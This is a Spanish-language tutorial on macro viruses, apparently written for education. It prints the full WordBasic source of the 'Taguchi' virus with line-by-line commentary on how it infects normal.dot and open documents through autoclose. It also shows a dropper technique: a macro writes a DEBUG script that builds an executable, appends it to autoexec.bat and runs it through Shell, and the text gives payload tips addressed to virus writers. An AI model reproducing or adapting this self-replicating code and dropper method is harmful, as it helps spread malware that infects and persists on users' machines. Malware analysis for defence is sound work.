Nota: El autor no se hace responsable del uso que se le pueda dar a esta información. La misma solo ha sido creada con fines educativos.
Anatomía del código intoxicante Taguchi.
'*************************************************************
'* *
'* Virus Taguchi *
'* (La probabilidad de aprobar es de un 0.05 %) *
'* *
'*************************************************************Sub MAIN
'este macro se definirá como autoclose'si hay algún error va a finalizar.
On Error Goto finalizar
'En este lenguaje hay etiquetas, saltos condicionales, eventos, etc.Nigro1$ = NombreVentana$() + ":autoclose"
'utilizo la función Lcase (Lowercase = minúsculas ) para realizar la comparación
Nigro2$ = NombreVentana$() + ":nigro"
Archi$ = LCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10))
'solo en minúsculas y en Archi$ tendrá‚ el nombre del archivo que contenga el macro
'ya sea un archivo de plantilla o el normal.dot 'utilizo la función right$ porque nombrearchivomacro$ devuelve el nombre con la ruta'si se ejecuta desde el normal.dot
If archi$ = "normal.dot" Then'si no lo esta salta a contadoc para infestar el archivo activo
If infectado = 0 Then
Goto contadoc'si lo esta salta a finalizar y no lo infesta – pues ya lo está
Else
Goto finalizar'se ejecuta desde un archivo
EndIf
Else'salta hasta la etiqueta e infesta normal.dot si no lo esta
If infectado = 0 Then
Goto contanormal'no infesta porque ya está infestado y se ahorra tiempo
Else
Goto finalizar'observen la estructura del lenguaje, la claridad de su creación.
EndIf
EndIf'— este es el conjunto de instrucciones de contaminación del fichero
Goto finalizar
MsgBox "virus Taguchi"'etiqueta a donde se realiza el salto para contaminar archivo abierto
contadoc:ArchivoGuardarComo.Formato = 1
'se condiciona que el archivo se salve como plantilla'— este es el conjunto de instrucciones de contaminación del archivo normal
MacroCopiar "global:autoclose", nigro1$, 1
MacroCopiar "global:nigro", nigro2$, 1
ArchivoGuardarTodo 1, 1
Goto finalizar'— este es el conjunto de instrucciones de finalizar
contanormal: 'contamina el normal.dot
MacroCopiar nigro1$, "global:autoclose", 1
MacroCopiar nigro2$, "global:nigro", 1
ArchivoGuardarTodo 1, 0
Goto finalizar'se hace payload, se realiza otra macrollamada.
finalizar:
Call Nigro'Aquí vemos como también existen funciones,
End Sub
'esta función es definida dentro de la ventana del
'macro autoclose ya que es llamada desde dicha macroFunction infectado
'función que verifica si está infestado ya sea un archivo o
'el normal.dot según el 'caso devuelve 0 si limpio y 1 si infectado'busca entre los macros si está el macro nigro, si está es que esta contaminado
infectado = 0
Archi$ = LCase$(Right$(NombreArchivoMacro$(NombreMacro$(0)), 10))'este procedimiento se define como nigro
If archi$ = "normal.dot" Then
If ContarMacros(1) > 0 Then
For i = 1 To ContarMacros(1)
If NombreMacro$(i, 1) = "nigro" Then
infectado = 1
End If
Next i
End If
Else
If ContarMacros(0) > 0 Then
For i = 1 To ContarMacros(0)
If NombreMacro$(i, 0) = "nigro" Then
infectado = 1
End If
Next i
End If
End If
End Function
Sub MAIN'si es el día 19 de Febrero creo un bucle infinito
If Día(Ahora()) = 19 And Mes(Ahora()) = 2 Then
Insertar " * tAgUchI vIrUz * by NIGROMANTE(nEUrOtIc cpU) 1997"
Goto bucle
'escribiendo en el archivo abierto nEUrOtIc cpU
End If
End Sub
Ilustración de la morbilidad
La mayoría de estas funciones son fáciles de entender si seguimos el nombre. No obstante creo sería importante verificar el procedimiento seguido para el contaminado de los archivos.Primeramente el virus guarda en archi$() el nombre del archivo desde que parte la contaminación – nótese que esta función devuelve un valor tipo texto (posee un símbolo $) –.
El nombre del archivo lo obtiene mediante la función:
nombrearchivomacro$().
Ahora teniendo ese nombre compara archi$ con "normal.dot" para saber si el virus se está ejecutando – el macro – desde un archivo o desde el normal.dot. De estarse ejecutando desde el normal.dot se vuelve redundante contaminarlo, por ello – primeramente – se chequea si está contaminado mediante la función infectado, si no lo está lo contamina y si lo está se invoca a la macro nigro para realizar el payload. En el caso en que se ejecute desde un archivo se hace lo contrario mediante la función infectado.
Se revisa si el archivo normal.dot está contaminado, en caso positivo se invoca al macro nigro, en caso contrario se contamina. Por ello es fácil de entender que la función infectado trabaja de diferente manera según se ejecute, desde un archivo o desde el normal.dot.
Si se ejecuta desde un archivo
infectado=1 si normal.dot infectado
infectado=0 si normal.dot no infectado
Si se ejecuta desde el normal.dot
infectado=1 si archivo infectado
infectado=0 si archivo no infectado
El chequeo de la infección – ya sea el archivo o el normal.dot – se hará mediante las funciones contarmacros(1) que devuelve el número de macros en el archivo activo y contarmacros(0) que devuelve el número de macros en normal.dot
nombremacro$(n,1) devuelve el nombre del macro número n dentro del archivo activo
nombremacro$(n,0) devuelve el nombre del macro número n dentro del normal.dot
El recorrido por todos los nombres de macros se realiza mediante un bucle – recuerden que esto es un lenguaje de alto nivel.
For i = 1 To ContarMacros(1)
If NombreMacro$(i, 1) = "nigro" Then
infectado = 1
End If
Next i
Con esto se busca la macro de nombre "nigro" dentro de un archivo, si la encuentra entonces infectado – como bandera – toma el valor 1. En caso contrario infectado tendrá el valor con el que fue inicializado es decir 0. Otros comandos de interés para los arquitectos de virus en la etapa de payload serían por ejemplo shell "comando" con el que puedes ejecutar programas del sistema operativo. Este comando shell es muy interesante para hacer llamadas al programa debug del dos con código hexadecimal y crear carriers ejecutables de virus como en el caso del Ph33r.
Insertar "lo que se quiera insertar" permite insertar texto en el documento activo
msgbox "virus activado" aparece un cuadro de diálogo que muestra este mensaje y este desaparece cuando se aprieta el botón 'aceptar'.
Ilustraremos esta otra modalidad de infección que resulta interesante y muy poderosa, que es la de convertir a los virus de macros en hospederos de otros virus que afectan a otros archivos – .com, .exe, .bat –, esto se logra a partir de incluir dentro de la plantilla otro virus, ya sea de ejecutable o de arranque, al poderse ejecutar programas, pues lo que lleva el documento es un script. de DEBUG.
Comúnmente realizan esta infección utilizando la orden "E" que, permite cambiar bytes de posiciones de memoria:
Open "c:\dos\script.dbg" For Output As #1
'etc, etc, etc,
Print #1, "N virus.exe"
Print #1, "E 0100 4D 5A EC 00 0C 00 00 00 20 00 00 00 FF FF 00 00"
Print #1, "E 0110 00 00 32 2D 00 00 01 00 1E 00 00 00 01 00 00 00"
Print #1, "E 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 14F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1500 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "RCX"
Print #1, "1500"
Print #1, "W"
Print #1, "Q"
Print #1, ""
Close #1
Open "c:\dos\infecta.bat" For Output As #1
Print #1, "@echo off"
Print #1, "debug < script.dbg > nul"
Print #1, "echo @c:\dos\virus.exe>>c:\autoexec.bat"
Print #1, "del c:\dos\script.dbg"
Print #1, "del c:\dos\infecta.bat"
Close #1
ChDir "C:\DOS"
Shell "INFECTA.BAT", 0
ChDir "C:\"
Apocalipsis
Aquí concluye este artículo, con él la explicación de cómo funciona un virus macro sencillo, y algunas técnicas de ataque e infección, pudiéndose apreciar, a pesar de lo simple de su programación, lo nocivo que puede ser su ataque, y lo volátil de su infección. Por ello es menester tomar las medidas de seguridad que nos permitan protegernos de esta chusma de virus. Y por ende, de las variantes más agresivas, con técnicas destructivas más poderosa, de autoprotección más brillantes, y formas más ingeniosas de propagación. Esperando que con él muchas respuestas se hayan vertido sobre las cabezas de la comunidad, al igual que muchas nuevas dudas hayan anidado en mentes más suspicaces.